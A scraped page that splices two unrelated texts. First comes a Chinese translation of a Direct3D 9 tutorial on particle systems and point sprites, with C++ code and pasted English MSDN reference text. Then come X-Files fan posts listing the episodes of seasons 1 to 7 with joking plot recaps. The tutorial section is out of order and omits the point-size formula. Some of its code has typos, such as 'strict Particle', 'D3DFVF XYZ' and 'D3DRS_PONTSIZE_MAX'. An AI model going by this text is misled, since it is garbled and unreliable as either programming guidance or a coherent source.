o       注意: 我们使用动态的顶点缓存(D3DUSAGE DYNAMIC)。 因为我们需要在每帧中更新我们的粒子,意思是我们将会去存取顶点缓存的内存,回想一下,访问一个静态的顶点缓存慢得不可接受, 所以我们使用动态的顶点缓存。

o       查看我们用过的 D3DUSAGE_POINTS标记,它说明顶点缓存将保存点精灵。

o       顶点缓存的尺寸是由m_vb_num预先确定的,而且与系统中粒子的数量无关。 也就是说, m_vb_num将小于等于系统中粒子的数量。 这是因为渲染粒子系统是一批一批的,不是一次渲染全部。

o       我们使用默认的内存池(pool)代替通常使用的托管内存池,因为动态顶点缓存不能用在托管内存池中。

reset—这个方法重新设置系统中每个粒子的属性:
    void cParticleSystem::reset()
    {
        for(list<sParticleAttribute>::iterator iter = m_particles.begin(); iter != m_particles.end(); iter++)
            reset_particle(&(*iter));
    }

reset_particle—这个方法重新设置粒子的属性。如何重设粒子的属性,这依赖于具体粒子系统的特性。因此我们定义这个方法为虚拟的,等待子类去实现。

add_particle—这个方法用来在系统中增加一个粒子。在增加它到粒子列表之前,使用reset_particle方法先初始化粒子:
    void cParticleSystem::add_particle()
    {
        sParticleAttribute attr;
        reset_particle(&attr);
        m_particles.push_back(attr);
    }

update—这个方法更新系统中所有的粒子。因为这个的方法的执行取决于具体粒子系统的特性,因此我们定义这个方法为抽象的,等待子类去实现。

render—这个方法用来显示系统中所有的粒子。

pre_render—用它来初始化渲染状态,在渲染前设置。 因为系统与系统之间是不同的,所以我们定义它为虚拟的。 默认将执行下列代码:
    void cParticleSystem::pre_render()
    {
        m_device->SetRenderState(D3DRS_LIGHTING,          FALSE);
        m_device->SetRenderState(D3DRS_POINTSPRITEENABLE, TRUE);
        m_device->SetRenderState(D3DRS_POINTSCALEENABLE,  TRUE);
        m_device->SetRenderState(D3DRS_POINTSIZE,          float_to_dword(m_size));
        m_device->SetRenderState(D3DRS_POINTSIZE_MIN,      float_to_dword(0.0f));
        // control the size of the particle relative to distance
            m_device->SetRenderState(D3DRS_POINTSCALE_A,    float_to_dword(0.0f));
        m_device->SetRenderState(D3DRS_POINTSCALE_B,    float_to_dword(0.0f));
        m_device->SetRenderState(D3DRS_POINTSCALE_C,    float_to_dword(1.0f));
        // use alpha from texture
            m_device->SetTextureStageState(0, D3DTSS_ALPHAARG1, D3DTA_TEXTURE);
        m_device->SetTextureStageState(0, D3DTSS_ALPHAOP,    D3DTOP_SELECTARG1);
        m_device->SetRenderState(D3DRS_ALPHABLENDENABLE, TRUE);
        m_device->SetRenderState(D3DRS_SRCBLEND,  D3DBLEND_SRCALPHA);
        m_device->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA);
    }

  注意:我们使用alpha混合渲染,以便设置纹理的alpha通道,来设置纹理像素的透明,用它产生多种效果。一种特殊的情况是:获得象纹理那样的非矩形的粒子。例如,获得一个圆形“雪球形”的粒子,我们使用一个简单的带有alpha通道的纹理,它看上去是背景为黑色的带有白色圆形的样子。因此,显示出来时只是一个白圆,这比白色的矩形纹理要好。

post_render—用它去保存所有渲染状态。因为系统与系统间是不同的,所以我们定义它为虚拟的。默认将执行下列代码:
    void cParticleSystem::post_render()
    {
        m_device->SetRenderState(D3DRS_LIGHTING, TRUE);
        m_device->SetRenderState(D3DRS_POINTSPRITEENABLE, FALSE);
        m_device->SetRenderState(D3DRS_POINTSCALEENABLE,  FALSE);
        m_device->SetRenderState(D3DRS_ALPHABLENDENABLE,  FALSE);
    }

is_empty—如果为True则在当前的系统中没有粒子, 否则为false.
    bool cParticleSystem::is_empty()
    {
        return m_particles.empty();
    }

is_dead—如果为True则系统中的所有粒子都是死的,否则为false。
    bool cParticleSystem::is_dead()
    {
        for(list<sParticleAttribute>::iterator iter = m_particles.begin(); iter != m_particles.end(); iter++)
        {
            // Is there at least one living particle? If yes, the system is not dead.
            if(iter->is_alive)
                return false;
        }
        // No living particles found, the system must be dead.
        return true;
    }

remove_dead_particles—搜索属_particle性表,从表中杀死并删除粒子。
    void cParticleSystem::remove_dead_particles()
    {
        list<sParticleAttribute>::iterator iter = m_particles.begin();
        while(iter != m_particles.end())
        {       
            if(! iter->is_alive)
                // erase returns the next iterator, so no need to increment to the next one ourseleves.
                    iter = m_particles.erase(iter);
            else
                iter++;    // next in list
        }
    }

许多自然现象是由很多小的小颗粒组成的,它们有相似的行为。(例如,雪花落下,闪烁的火焰,冲出枪管的“子弹”),粒子系统用来模拟这种现象。

14.1 粒子和点精灵(Point Sprite)

粒子是一个很小的对象,它通常用来模拟数学中的一个点。点元是用来显示粒子的很好的方案,可是点元被光栅化成一个简单的像素。这没给我们多少灵活性,因为我们想有各种大小不同的粒子,并且把整个纹理平滑映射到这些粒子上。在Direct3D 8.0以前,因为点元方法的局限性而完全不使用他们。代替的方法是程序员将使用公告板去显示粒子,一个板是一个方格,世界矩阵用它来确定方向,使它总是朝向照相机。

Direct3D 8.0引入一个特殊的点元叫点精灵,多数时候被应用在粒子系统中。与一般的点元不同的是,点精灵有纹理映射并能改变大小。与公告板不同的是,能用一个简单的点描述一个点精灵,节省内存和处理时间,因为我们只是必须保存和处理一个点,而公告板则是四个。
14.1.1 结构的格式

我们使用下面的顶点结构来描述粒子的位置和颜色:
struct sParticle
{
    D3DXVECTOR3 position;
    D3DCOLOR    color;
};

const DWORD PARTICLE_FVF = D3DFVF_XYZ | D3DFVF_DIFFUSE;

这个结构只保存粒子的位置和颜色,这取决于你程序的需要,你能够用同样的结构去保存一套纹理坐标。

增加一个浮点变量给Particle结构去指定粒子的大小是可能的。我们必须增加一个D3DFVF_PSIZE标记给我们的灵活的顶点格式,以反映这个变化。每个粒子维护自己的大小很有用,因为它允许我们以具体情况指定并改变粒子的大小。可是,大多数的图形卡不支持控制粒子的大小,因此我们不使用它。(检查D3DFVFCAPS_PSIZE在D3 DCAPS9结构的FVFCaps成员)代替的方法是用渲染状态(render states)去控制粒子的大小,就像你很快看到的,有尺寸成员的顶点结构的例子:
strict Particle

{

     D3DXVECTOR3 _position;

     D3DCOLOR    _color;

     float       _size;

     static const DWORD FVF;

};

const DWORD Particle::FVF = D3DFVF XYZ | D3DFVF DIFFUSE |  D3DFVF_PSIZE;

注意:通过vertex shader,能够获取每个粒子的大小,即使你的硬件不支持D3DFVFCAPS_PSIZE。
14.1.2点精灵(Point Sprite)渲染状态

点精灵的行为大部分由渲染状态(render states)来控制,现在让我们来看一下这些渲染状态:

D3DRS_POINTSPRITEENABLE—A Boolean value. The default value is false.

True表示将当前的纹理全部映射到点精灵上。

False 表示用指定的纹理坐标映射到点精灵的点(图素)上。

_device->SetRenderState(D3DRS_POINTSPRITEENABLE, true);
D3DRS_POINTSPRITEENABLE
bool value. When TRUE, texture coordinates of point primitives are set so that full textures are mapped on each point. When FALSE, the vertex texture coordinates are used for the entire point. The default value is FALSE. You can achieve DirectX 7 style single-pixel points by setting D3DRS_POINTSCALEENABLE to FALSE and D3DRS_POINTSIZE to 1.0, which are the default values.

D3DRS_POINTSCALEENABLE—A Boolean value. The default value is false.

True表示用视图空间单位来解释点的大小。视图空间单位的3D空间点在照相机中,点精灵将会自动缩放,这取决到它有多远, 像其他对象一样,离照相机近的粒子比离照相机远的粒子要大。

False 表示点的大小将用屏幕空间单位来解释。屏幕空间单位是屏幕上的像素单位。. 因此如果你指定false, 例如, 设置点精灵的尺寸为3, 则点精灵在屏幕区域中的尺寸为3×3像素。.

_device->SetRenderState(D3DRS_POINTSCALEENABLE, true);
D3DRS_POINTSCALEENABLE
bool value that controls computation of size for point primitives. When TRUE, the point size is interpreted as a camera space value and is scaled by the distance function and the frustum to viewport y-axis scaling to compute the final screen-space.

D3DRS_POINTSIZE—表示点精灵的尺寸. 这个值可以任意指定视图空间或屏幕空间的点精灵的尺寸, 取决于D3DRS_POINTSCALEENABLE状态如何设置. 下面的代码段设置点的尺寸为2.5个单位。:

_device->SetRenderState( D3DRS_POINTSIZE, float_to_dword(2.5f) );
D3DRS_POINTSIZE
A float value that specifies the size to use for point size computation in cases where point size is not specified for each vertex. This value is not used when the vertex contains point size. This value is in screen space units if D3DRS_POINTSCALEENABLE is FALSE; otherwise this value is in world space units. The default value is the value a driver returns. If a driver returns 0 or 1, the default value is 64, which allows software point size emulation. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSIZE, *((DWORD*)&pointSize));
DWORD float_to_dword(float f)
{
    return *((DWORD*)&f);
}

D3DRS_POINTSIZE_MIN—表示点精灵的最小尺寸。例子,将设置最小值为0.2:

_device->SetRenderState(D3DRS_POINTSIZE_MIN, float_to_dword(0.2f));
D3DRS_POINTSIZE_MIN
A float value that specifies the minimum size of point primitives. Point primitives are clamped to this size during rendering. Setting this to values smaller than 1.0 results in points dropping out when the point does not cover a pixel center and antialiasing is disabled or being rendered with reduced intensity when antialiasing is enabled. The default value is 1.0f. The range for this value is greater than or equal to 0.0f. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSIZE_MIN, *((DWORD*)&pointSizeMin));

D3DRS_POINTSIZE_MAX—表示点精灵的最大尺寸。例子,将设置最大值为5.0:

_device->SetRenderState(D3DRS_POINTSIZE_MAX, float_to_dword(5.0f));
D3DRS_POINTSIZE_MAX
A float value that specifies the maximum size to which point sprites will be clamped. The value must be less than or equal to the MaxPointSize member of D3DCAPS9 and greater than or equal to D3DRS_POINTSIZE_MIN. The default value is 64.0. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_PONTSIZE_MAX, *((DWORD*)&pointSizeMax));

D3DRS_POINTSCALE_A, D3DRS_POINTSCALE_B, D3DRS_POINTSCALE_C—这3个常量表示如何根据距离控制点精灵的尺寸—这个距离是点精灵到照相机的距离。
D3DRS_POINTSCALE_A
A float value that controls for distance-based size attenuation for point primitives. Active only when D3DRS_POINTSCALEENABLE is TRUE. The default value is 1.0f. The range for this value is greater than or equal to 0.0f. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSCALE_A, *((DWORD*)&pointScaleA));
D3DRS_POINTSCALE_B
A float value that controls for distance-based size attenuation for point primitives. Active only when D3DRS_POINTSCALEENABLE is TRUE. The default value is 0.0f. The range for this value is greater than or equal to 0.0f. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSCALE_B, *((DWORD*)&pointScaleB));
D3DRS_POINTSCALE_C
A float value that controls for distance-based size attenuation for point primitives. Active only when D3DRS_POINTSCALEENABLE is TRUE. The default value is 0.0f. The range for this value is greater than or equal to 0.0f. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSCALE_C, *((DWORD*)&pointScaleC));

D3D用以下的公式去计算点精灵的最终尺寸,这取决于距离和这3个常量。

其中:

FinalSize:距离计算后,点精灵的最后尺寸。

ViewportHeight:视口的高度。

Size:分别为D3DRS_POINTSCALE_A, D3DRS_POINTSCALE_B, and D3DRS_POINTSCALE_C值。
D:在视图空间中点精灵与照相机的距离。因为照相机被放置在视图空间中的原点,这个值是:,也是点精灵所在的位置。

下面代码设置点精灵的距离常量,因此远处的点精灵将变小。
_device->SetRenderState(D3DRS_POINTSCALE_A, float_to_dword(0.0f));

_device->SetRenderState(D3DRS_POINTSCALE_B, float_to_dword(0.0f));

_device->SetRenderState(D3DRS_POINTSCALE_C, float_to_dword(1.0f));

14.1.3 粒子和他们的属性

一个粒子系统是由除了位置、颜色以外的更多的属性组成,例如,一个粒子有速度。然而,这些额外的属性对于渲染粒子来说不是必须的。因此,我们在单独的结构中保存渲染粒子所必须的数据和属性。当我们创建、显示或更新粒子时,我们使用属性来工作。当我们准备渲染时,我们从sParticle(粒子)结构中COPY位置和颜色。

对于我们模拟的具体粒子系统,粒子的属性也是不同的。因此我们能够归纳一些通用的属性,大多数系统用不上这么多,一些系统需要的属性这里可能还没有。
struct sParticleAttribute
{
    sParticleAttribute()
    {
        life_time = 0.0f;
        age          = 0.0f;
        is_alive  = true;
    }

    D3DXVECTOR3 position;
    D3DXVECTOR3 velocity;
    D3DXVECTOR3 acceleration;
    float        life_time;        // how long the particle lives for before dying
    float        age;            // current age of the particle
    D3DXCOLOR    color;            // current color of the particle
    D3DXCOLOR    color_fade;        // how the color fades with respect to time
    bool        is_alive;
};

position—粒子在世界空间中的位置

velocity—粒子的速度,每秒多少个单位。

acceleration—粒子的加速度, 每秒多少个单位。

life_time—粒子的生命周期. 例如,当一个时间段后,我们可以杀死一个激光柱的粒子.

age—粒子的当前年龄。

color—粒子的颜色。

color_fade—粒子随时间的变化而褪去的颜色。

is_alive—True 表示粒子活着;false 表示粒子死了。

X-Files 第(1)季目录及剧情简介
1X01 领航员 Pilot
1X02 深喉咙 DEEP THROAT
1X03 突变异种 SQUEEZE
1X04 奥卡布基湖奇案 CONDUIT
1X05 泽西恶魔 THE JERSEY DEVIL
1X06 鬼魅阴影(幽魂) SHADOWS
1X07 幽灵电脑 GHOST IN THE MACHINE
1X08 冰核计划 ICE
1X09 太空惊魂 SPACE
1X10 坠落天使 FALLEN ANGEL
1X11 夺命夏娃 EVE
1X12 恶魔烈火 FIRE
1X13 心灵感应 BEYOND THE SEA
1X14 性别扭曲 GENDERBENDER
1X15 至死不渝 LAZARUS
1X16 追命恶魔 YOUNG AT HEART
1X17 外星访客 E.B.E.
1X18 神迹 MIRACLE MAN
1X19 变形狼人 SHAPES
1X20 夜幕低垂 DARKNESS FALLS
1X21 终结突变异种 TOOMS
1X22 附身 BORN AGAIN
1X23 双胞奇缘 ROLAND
1X24 外星混血 THE ERLENMEYER FLASK

在第一季里...
 * Mulder和Scully相识并成为搭档。(领航员)
 * Scully在Mulder面前宽衣解带,给他看她的后腰。(领航员)
 * Scully撞到Mulder和旧情人在接吻,并表现出了一丝丝的嫉妒。(恶魔烈火)
 * Scully的父亲去世,他在步入天堂之前匆匆拜访了Scully。(心灵感应)
 * Scully被一名占据了他前任男友身体的罪犯绑架,这是她第一次被绑架。(至死不渝)
 * 孤枪侠首次出场。Frohike说Scully很“诱人”。(外星访客)
 * Mulder骗Scully说他从不让别人叫他“Fox”。(终结突变异种)
 * Mulder被绑架了,Scully偷了一个外星人胚胎去交换他。(外星混血)
 * X档案被关闭,Mulder和Scully被分开。(外星混血)
2005-4-14 14:17 龙骑兵
X-Files 第(2)季目录及剧情简介
2X01 绿色小矮人 LITTLE GREEN MEN
2X02 下水道惊魂记 THE HOST
2X03 恐惧症 BLOOD
2X04 不能睡的人 SLEEPLESS
2X05 第四类接触(上) DUANE BARRY
2X06 第四类接触(下) ASCENSION
2X07 三位一体 3
2X08 起死回生 ONE BREATH
2X09 火山口惊魂 FIREWALKER
2X10 红色博物馆 RED MUSEUM
2X11 再生 EXCELSIUS DEI
2X12 剃刀杀人狂 AUBREY
2X13 摧花狂疑云 IRRESISTIBLE
2X14 巫教学校 DIE HAND DIE VERLETZT
2X15 巫毒的复仇 FRESH BONES
2X16 殖民地球(上) COLONY
2X17 殖民地球(下) END GAME
2X18 审判 FEARFUL SYMMETRY
2X19 幽灵船 DOD KALM
2X20 斑身人 HUMBUG
2X21 巫童 THE CALUSARI
2X22 剖尸 F. EMASCULATA
2X23 柔光 SOFT LIGHT
2X24 我们的小镇 OUR TOWN
2X25 外星档案(上) ANASAZI

在第二季里...
* Mulder偷偷跑去南美丛林寻找外星人,Scully赶去援救他。(绿色小矮人)
 * Alex Krycek首次亮相。(不能睡的人)
 * Gillian Anderson怀孕了。
 * Scully再次被绑架了,这次是外星人干的。于是GA就有时间去生孩子了。(第四类接触(下))
 * X档案重新开启。(第四类接触(下))
 * Mulder有了在整部影集播出中唯一的一次性行为,也许直到第七年为止。(三位一体)
 * Melissa Scully首次出场。(起死回生)
 * Scully被外星人送了回来,并险些因为她的家人移除了她的维生装置而死亡。(起死回生)
 * 我们知道了Skinner原来曾是一名海军陆战队员,在越南受重伤时经历了灵魂出体的体验,但最终活了来下来并告诉我们这一切。(起死回生)
 * Scully又被绑架了,这次绑架她的是Donnie Pfaster,一个恶魔化身的死亡崇拜者。(摧花狂疑云)
 * 当看到一名成年妇女声称自己是Samantha Mulder时,我们第一次上了个大当。(殖民地球(上))
 * 又一次,Scully被一名外星赏金猎人绑架了,Mulder用他的“妹妹”做了交换。(殖民地球(下))
 * Scully在医院发威,指挥医生们治疗从其北极之旅归来的Mulder,救活了他的命。(殖民地球(下))
 * Scully再一次地被绑架了,这次是一群食人族。她还几乎被斩首,变成镇里的人的盘中餐。(我们的小镇)
 * Mulder被人下了毒,并在胡佛大厦的走廊里和Skinner打了一架。(外星档案(上))
 * Mulder的父亲被谋杀了。(外星档案(上))
 * Scully开枪打伤了Mulder,然后带着他驾车穿越整个美国,并细心照顾他直到他康复,于是癌人就能够把他困在被掩埋的列车车厢里,并试图烧死他。(外星档案(上))
2005-4-14 14:18 龙骑兵
X-Files 第(3)季目录及剧情简介
3X01 外星档案(中) THE BLESSING WAY
3X02 外星档案(下) PAPER CLIP
3X03 闪电人 D.P.O.
3X04 相士杀手 CLYDE BRUCKMAN'S FINAL REPOSE
3X05 回魂复仇者 THE LIST
3X06 网络情人 2SHY
3X07 幽灵士兵 THE WALK
3X08 解脱 OUBLIETTE
3X09 扑朔迷离(上) NISEI
3X10 扑朔迷离(下) 731
3X11 天启 REVELATIONS
3X12 粪虫大战 WAR OF THE COPROPHAGES
3X13 双姝奇缘 SYZYGY
3X14 恶魔图像 GROTESQUE
3X15 追凶记(上) PIPER MARU
3X16 追凶记(下) APOCRYPHA
3X17 步步危机 PUSHER
3X18 阿玛鲁 TESO DOS BICHOS
3X19 冥纸 HELL MONEY
3X20 科幻故事 JOSE CHUNG'S 'FROM OUTER SPACE'
3X21 梦妖 AVATAR
3X22 湖怪 QUAGMIRE
3X23 电视杀人事件 WETWIRED
3X24 追杀令 TALITHA CUMI

在第三季里...
* Scully被停职,Mulder被认为已经死了。(外星档案(中))
 * Scully发现了她脖子后的植入物,并把它取了出来。(外星档案(中))
 * Scully用枪指着Skinner,Skinner用枪指着Scully,Mulder用枪指着Skinner。这是个墨西哥平局!(外星档案(中))
 * Krycek和Luis Cardinale意外地杀害了Scully的姐姐Melissa。当然,他们原来是想杀Scully的。(外星档案(中))
 * Skinner对癌人说“噘起你的老嘴亲我的P股”。(外星档案(下))
 * Willianm B. Davis(癌人)证明了这已超出他的表演能力范围。(外星档案(下))
 * Clyde Bruckman告诉Scully她是不会死的。(相士杀手)
 * Scully领养了一只狗。(相士杀手)
 * Scully吸烟了。(双姝奇缘)
 * 他们用Gillian Anderson女儿的名字[Piper]为这集命名。(追凶记(上) Piper Maru)
 * Skinner被用于杀害Scully姐姐的同一支枪击中了。(追凶记(下))
 * Mulder在和Robert Modell玩俄罗斯轮盘赌时,差点儿向Scully开枪。(步步危机)
 * 我们了解到原来Skinner已经结过婚。他与一名妓女发生了关系,并由于他的睡眠紊乱症而有可能在睡梦中杀害了她,他的妻子也去世了--可能。(梦妖)
 * Scully的狗--魁魁格,被一只美洲鳄吃掉了。(湖怪)
 * Mulder险些被同一只美洲鳄吃掉。(湖怪)
 * Scully被洗了脑,差点儿杀死Mulder。也可能是因为Scully的妈妈一直走在他前面,他才幸免于难。(电视杀人事件)
2005-4-14 14:20 龙骑兵
X-Files 第(4)季目录及剧情简介
4X01 颠覆地球 HERRENVOLK
4X02 灵异照片 UNRUHE
4X03 故乡 HOME
4X04 非洲邪灵 TELIKO
4X05 前世今生 THE FIELD WHERE I DIED
4X06 整型专家 SANGUINARIUM
4X07 癌人秘辛 MUSINGS OF A CIGARETTE SMOKING MAN
4X08 偷心人 PAPER HEARTS
4X09 非常手段(上) TUNGUSKA
4X10 非常手段(下) TERMA
4X11 紫雨 EL MUNDO GIRA
4X12 婚礼 KADDISH
4X13 再见贝蒂 NEVER AGAIN
4X14 无头尸奇案 LEONARD BETTS
4X15 我要活下去 MEMENTO MORI
4X16 复仇使者 UNREQUITED
4X17 失踪的九分钟(上) TEMPUS FUGIT
4X18 失踪的九分钟(下) MAX
4X19 回到过去 SYNCHRONY
4X20 外星爹地 SMALL POTATOES
4X21 天花蜂 ZERO SUM
4X22 免于恐惧 ELEGY
4X23 恶魔 DEMONS
4X24 真相与谎言 GETHSEMANE

在第四季里...
* Mulder的母亲中风了。(颠覆地球)
 * Mulder和Scully交换了各自的家族遗传史。不幸的是,他们当时还不知道Scully不孕,而且无法提供乳汁给他们俩的宝宝(呃,也许吧!)(故乡)
 * Scully又被绑架,并险些被切除了前额脑叶。(灵异照片)
 * Mulder在回忆前世时自欺欺人。(前世今生)
 * Scully因为藐视法庭被关进监狱。(非常手段(下))
 * Mulder被感染“黑癌”。(非常手段(下))
 * Krycek的左臂被切除。(非常手段(下))
 * Scully获知她得了癌症。(无头尸奇案;我要活下去)
 * Scully有了一次心理上的认同转折点,并有可能有了整部影集中唯一一次的性行为(也许第七年那次除外)。(再见贝蒂)
 * Scully刺了个纹身!(再见贝蒂)
 * Scully告诉Mulder她患了癌症,但没有告诉她妈妈!(我要活下去)
 * Mulder发现在第二年里Scully被外星人绑架时,她所有的卵子都被偷走了,并且还找回了一些。(我要活下去)
 * Scully差点儿亲吻了Mulder,除了那不是真正的Mulder,而是会改变肌肉形状的Eddie Van Blundht。(外星爹地)
 * 我们看到Skinner只穿着他的底裤!不错!(天花蜂)
 * Scully看到了鬼魂,因为她也快死了。(免于恐惧)
 * Mulder偷偷跑去罗德岛,然后因为谋杀罪被捕,穿着一件亮橙色的囚服在监狱过了一夜,然后被Scully救了。(恶魔)
 * Mulder自杀了……也许吧。(真相与谎言)
2005-4-14 14:21 龙骑兵
X-Files 第(5)季目录及剧情简介
5X01 惊爆点 Unusual Suspects
5X02 追求真理(上) Redux
5X03 追求真理(下) Redux II
5X04 人兽谜 Detour
5X05 孤寂之旅(上) Christmas Carol
5X06 科学怪人 Post-Modern Prometheus
5X07 孤寂之旅(下) Emily
5X08 猎狐计划 Kitsunegari
5X09 杀父真凶 Schizogeny
5X10 恐怖娃娃 Chinga
5X11 魔脑 Kill Switch
5X12 新版吸血鬼 Bad Blood
5X13 X病人(上) Patient X
5X14 X病人(下) The Red and The Black
5X15 旅人 Travelers
5X16 心眼 Mind's Eye
5X17 心灵告白 All Souls
5X18 非常卧底 The Pine Bluff Variant
5X19 双疯 Folie A Deux
5X20 神童 The End

在第五季里...
* Mulder被认为已经死了。(追求真理(上))
 * Scully对警察、Skinner和FBI长官说谎,骗他们说Mulder“死了”,然后因为病发倒进Skinner的臂弯。经诊断她的癌症已经扩散,于是她就呆在医院里等死。但Mulder毕竟还活着!(追求真理(上))
 * 我们见到了Bill Scully,他说Mulder是个“可怜的王八蛋”。(追求真理(下))
 * Mulder找到一枚芯片,并把它放入Scully的后脖子。她的癌症消退了。(追求真理(下))
 * 癌人被杀了。呃,当然不是真的,不过至少在这个季度接下来的单元里,我们不用再理会他了。(追求真理(下))
 * 在佛罗里达的未开垦丛林里,Scully让受伤的Muler躺在她的腿上过夜,还唱“Joy to the World”哄他睡觉。(人兽谜)
 * Scully和Mulder在雪尔的音乐会上共舞。(科学怪人)
 * Scully发现她有一个不是她自己生的亲生女儿。但最后她女儿死了。(孤寂之旅)
 * 我们见到了癌人的妻子,还有Scully差点儿被活活烧死。(X病人(上))
 * Scully看到了他死去的女儿。(心灵告白)
 * Mulder成了卧底。(非常卧底)
 * Mulder成了疯子。(双疯)
 * 我们认识了Mulder的另一位旧情人,Diana Fowley探员;Scully不信任她,一切呈现不祥之兆。
 * X档案办公室被烧毁。(神童)
 * 这期间…… 癌人又活跃了起来,真是不幸。
 * Mulder和Scully在走廊里差一点儿就接吻了。
 * Scully又被绑架,成了外星人胚胎成长的温床。
 * Mulder赶去南极营救Scully。电影编剧错把David Duchovny当成阿诺德·施瓦辛格了。
2005-4-14 14:22 龙骑兵
X-Files 第(6)季目录及剧情简介
6X01 开端 The Beginning
6X02 向前冲 Drive
6X03 百慕达惊梦 Triangle
6X04 梦境(上) Dreamland
6X05 梦境(下) Dreamland II
6X06 亲密关系 Terms Of Endearment
6X07 雨王 The Rain King
6X08 圣诞幽魂 How The Ghosts Stole Christmas
6X09 心灵杀手 Tithonus
6X10 S.R. 819 S. R. 819
6X11 父与子(上) Two Fathers
6X12 父与子(下) One Son
6X13 美丽新社区 Arcadia
6X14 水怪 Agua Mala
6X15 星期一 Monday
6X16 变形犬 Alpha
6X17 穿墙人 Trevor
6X18 爱情小说 Milagro
6X19 难兄难弟 Three of A Kind
6X20 快乐人生 The Unnatural
6X21 田野之旅 Field Trip
6X22 创世纪 Biogenesis

在第六季里...
* Mulder和Scully再次失去X档案。他们离开了Skinner的监督,被重新分配到Alvin Kersh副座的监管下。Spender和Fowley探员接手X档案。(开端)
 * Mulder吻了Scully,除了那不是真的她。Scully给了Mulder一记右勾拳,除了那不是真的她。(百慕达惊梦)
 * Mulder告诉真的Scully他爱她;她说“哦老兄”,然后走开。(百慕达惊梦)
 * Scully在电梯里吻了Skinner。Skinner看上去害羞极了。(百慕达惊梦)
 * Mulder有了一间卧室和一张水床。(梦境(下))
 * Mulder和Scully在一栋闹鬼的房子里共度圣诞前夜,并向对方开枪,但不是真的开枪。(耶诞幽魂)
 * 在遇到一头飞来的牛后,Mulder和Scully不得不共享一间汽车旅馆房间,但我们看不到里面!(雨王)
 * Victoria Jackson吻了Mulder。Mulder看上去害羞极了。(雨王)
 * Krycek用纳米机器人感染了Skinner,并因此控制了他。(S.R. 819)
 * Scully被另一名FBI探员开枪打中腹部,并因此获得永生。Clyde Bruckman说的没错。(心灵杀手)
 * 我们知道了癌人的名字,大概是C.G.B. Spender什么的。(父与子(上))
 * Mulder和Scully一起淋浴。(父与子(下))
 * 阴谋联盟里的大部分成员都被干掉了(但没有癌人,该死!)。(父与子(下))
 * Mulder和Scully重新拥有了X档案。(父与子(下))
 * 癌人杀死了他的儿子,Jeffrey Spender探员。不过在第九年里我们发现他还没死。(父与子(下))
 * Mulder的水床漏了个洞。(星期一)
 * “Scully探员早已坠入了爱河。”(爱情小说)
 * 一个变态外科医生想要占有Scully的心(脏)。她对此只表现出了一点点的心烦意乱。(爱情小说)
 * Mulder和Scully打棒球。(快乐人生)
 * Mulder听到说话声。(创世纪)
2005-4-14 14:24 龙骑兵
X-Files 第(7)季目录及剧情简介

7X01 我想做好人 Hungry
7X02 幸运儿 The Goldberg Variation
7X03 第六次大灭绝(上) The Sixth Extinction
7X04 第六次大灭绝(下) The Sixth Extinction II: Amor Fati
7X05 千禧计划 Millennium
7X06 急速快感 Rush
7X07 替天行道 Orison
7X08 魔术大师 The Amazing Maleeni
7X09 不义之徒 Signs & Wonders
7X10 生命的奇迹(上) Sein Und Zeit
7X11 生命的奇迹(下) Closure
7X12 X警察 X-Cops
7X13 虚拟战斗 First Person Shooter
7X14 夺命魔咒 Theef
7X15 尔虞我诈 En Ami
7X16 贤妻良母 Chimera
7X17 人生旅途 all things
7X18 超级烟* Brand X
7X19 好莱坞式X档案 Hollywood A.D.
7x20 斗阵俱乐部 Fight Club
7x21 三个愿望 Je Souhaite
7x22 安魂曲 Requiem

在第七季里...

 * Mulder发了狂,还拥有了读心术。Scully去了非洲。(第六次大灭绝(上))
 * Mulder重新演绎了[基督最后的诱惑]。(第六次大灭绝(下))
 * Mulder做了脑部手术。癌人也做了。(第六次大灭绝(下))
 * 癌人告诉Mulder他是他的父亲。(第六次大灭绝(下))
 * Scully再次救了Mulder的命。(第六次大灭绝(下))
 * Fowley探员被从镜头前干掉了。她好像不会再回来了。(第六次大灭绝(下))
 * Scully被一个她明明知道已经死了人攻击。Mulder被好几个他明明知道已经死了的人攻击。(千禧计划)
 * Mulder在新年前夜吻了Scully,这次是真的。她看起来一点也不激动。(千禧计划)
 * Donnie Pfaster从监狱逃了出来,并四处追逐Scully,他把她叫做“逃脱者”。Scully杀死了他,尽管没有必要。干得好,女孩儿!(替天行道)
 * Mulder的母亲自杀,因为她患上了并不致命的疾病,已经“垂死”。(生命的奇迹(上))
 * Mulder找到了他妹妹。她已经死了。切!(生命的奇迹(下))
 * Mulder和Scully意外地出现在影集“Cops”中。
 * Scully瞎了,但不是真的。(夺命魔咒)
 * Scully偷偷和癌人跑了。他是对她下药并令她恢复生育能力了吗??他有没有令她怀孕呢??你也知道,他很喜欢做别人的父亲。(尔虞我诈)
 * Scully重遇往日激情,尝试了另类巫术疗法,认清了她生命中的一些事情,并且,有可能,和Mulder发生了关系。(人生旅程)
 * Mulder和Scully的事迹被改编成了电影,在电影最后,他们俩手牵手地走出镜头。(好莱坞式X档案)
 * Mulder几乎因为吸入了满肺的烟*甲虫而丧命。Scully博士救了他。(超级烟*)
 * Skinner与孤枪侠们见面。(安魂曲)
 * 癌人又一次被杀了。让我们希望这次是一劳永逸地解决问题了。(安魂曲)
 * Mulder被外星人绑架了。他离开的时候还戴着Scully的十字架项链--嗯,我们以为是这样的,但现在知道了其实他没戴。所有以此为题材的fanfic都作废了。(安魂曲)
 * Skinner哭了。呃,至少Mitch Pileggi做了最大的努力表现出了他在哭。让他喘口气吧!他以前是主修会计的。会计从来都不哭。(安魂曲)
 * 本应该是不孕的Scully怀孕了。(本应该是不孕的)
2005-4-14 14:25 龙骑兵
在第八季里...

 * Robert Patrick加入剧组扮演特别探员John Doggett。在他和Scully首次见面时,她往他脸上泼了一杯水。(Within)
